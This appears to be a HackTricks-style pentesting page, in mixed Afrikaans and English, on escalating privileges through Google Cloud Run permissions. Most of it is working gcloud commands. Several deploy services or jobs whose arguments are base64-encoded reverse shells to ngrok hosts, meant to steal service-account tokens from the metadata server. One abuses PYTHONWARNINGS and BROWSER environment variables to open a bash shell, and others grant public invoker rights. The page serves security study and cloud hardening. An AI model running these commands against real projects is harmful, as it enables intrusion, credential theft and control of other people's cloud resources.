# GCP - Run Privesc

{{#include ../../../banners/hacktricks-training.md}}

## Cloud Run

Vir meer inligting oor Cloud Run, sien:

{{#ref}}
../gcp-services/gcp-cloud-run-enum.md
{{#endref}}

### `run.services.create` , `iam.serviceAccounts.actAs`, **`run.routes.invoke`**

'n aanvaller met hierdie permissies kan 'n run service skep wat arbitrary code uitvoer (arbitrary Docker container), 'n Service Account daaraan koppel en die kode laat exfiltrate the Service Account token from the metadata.

An exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/run.services.create.py) and the Docker image can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudRunDockerImage).

Let wel dat wanneer jy `gcloud run deploy` gebruik in plaas van net die diens te skep, **dit die `update` permissie benodig**. Kyk na 'n [**example here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/o-run.services.create.sh).

### `run.services.update` , `iam.serviceAccounts.actAs`

Soos die vorige een maar deur 'n diens op te dateer:
```bash
# Launch some web server to listen in port 80 so the service works
echo "python3 -m http.server 80;sh -i >& /dev/tcp/0.tcp.eu.ngrok.io/14348 0>&1" | base64
# cHl0aG9uMyAtbSBodHRwLnNlcnZlciA4MDtzaCAtaSA+JiAvZGV2L3RjcC8wLnRjcC5ldS5uZ3Jvay5pby8xNDM0OCAwPiYxCg==

gcloud run deploy hacked \
--image=ubuntu:22.04 \  # Make sure to use an ubuntu version that includes python3
--command=bash \
--args="-c,echo cHl0aG9uMyAtbSBodHRwLnNlcnZlciA4MDtzaCAtaSA+JiAvZGV2L3RjcC8wLnRjcC5ldS5uZ3Jvay5pby8xNDM0OCAwPiYxCg== | base64 -d | bash" \
--service-account="<proj-num>-compute@developer.gserviceaccount.com" \
--region=us-central1 \
--allow-unauthenticated

# If you don't have permissions to use "--allow-unauthenticated", dont use it
```
### `run.services.setIamPolicy`

Gee jouself verhoogde toestemmings op cloud Run.
```bash
# Change policy
gcloud run services set-iam-policy <SERVICE_NAME> <POLICY_FILE>.json \
--region=us-central1

# Add binding
gcloud run services add-iam-policy-binding <SERVICE_NAME> \
--member="allUsers" \
--role="roles/run.invoker" \
--region=us-central1

# Remove binding
gcloud run services remove-iam-policy-binding <SERVICE_NAME> \
--member="allUsers" \
--role="roles/run.invoker" \
--region=us-central1
```
### `run.jobs.create`, `run.jobs.run`, `iam.serviceaccounts.actAs`,(`run.jobs.get`)

Voer 'n job uit met 'n reverse shell om die service account wat in die opdrag aangedui word te steel. Jy kan 'n [**exploit here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/m-run.jobs.create.sh) vind.
```bash
gcloud beta run jobs create jab-cloudrun-3326 \
--image=ubuntu:latest \
--command=bash \
--args="-c,echo c2ggLWkgPiYgL2Rldi90Y3AvNC50Y3AuZXUubmdyb2suaW8vMTIxMzIgMD4mMQ== | base64 -d | bash" \
--service-account="<sa>@$PROJECT_ID.iam.gserviceaccount.com" \
--region=us-central1

```
### `run.jobs.update`,`run.jobs.run`,`iam.serviceaccounts.actAs`,(`run.jobs.get`)

Soortgelyk aan die vorige is dit moontlik om **'n job op te dateer en die SA op te dateer**, die **opdrag** te wysig en dit uit te voer:
```bash
gcloud beta run jobs update hacked \
--image=mubuntu:latest \
--command=bash \
--args="-c,echo c2ggLWkgPiYgL2Rldi90Y3AvNy50Y3AuZXUubmdyb2suaW8vMTQ4NDEgMD4mMQ== | base64 -d | bash" \
--service-account=<proj-num>-compute@developer.gserviceaccount.com \
--region=us-central1 \
--execute-now
```
### `run.jobs.setIamPolicy`

Gee jouself die vorige regte oor Cloud Jobs.
```bash
# Change policy
gcloud run jobs set-iam-policy <JOB_NAME> <POLICY_FILE>.json \
--region=us-central1

# Add binding
gcloud run jobs add-iam-policy-binding <JOB_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="roles/run.invoker" \
--region=us-central1

# Remove binding
gcloud run jobs remove-iam-policy-binding <JOB_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="roles/run.invoker" \
--region=us-central1
```
### `run.jobs.run`, `run.jobs.runWithOverrides`, (`run.jobs.get`)

Misbruik die env variables van 'n job-uitvoering om arbitrêre kode uit te voer en 'n reverse shell te kry om die inhoud van die container (source code) te dump en toegang tot die SA in die metadata te kry:
```bash
gcloud beta run jobs execute job-name --region <region> --update-env-vars="PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=/bin/bash -c 'bash -i >& /dev/tcp/6.tcp.eu.ngrok.io/14195 0>&1' #%s"
```
## Verwysings

- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)

{{#include ../../../banners/hacktricks-training.md}}
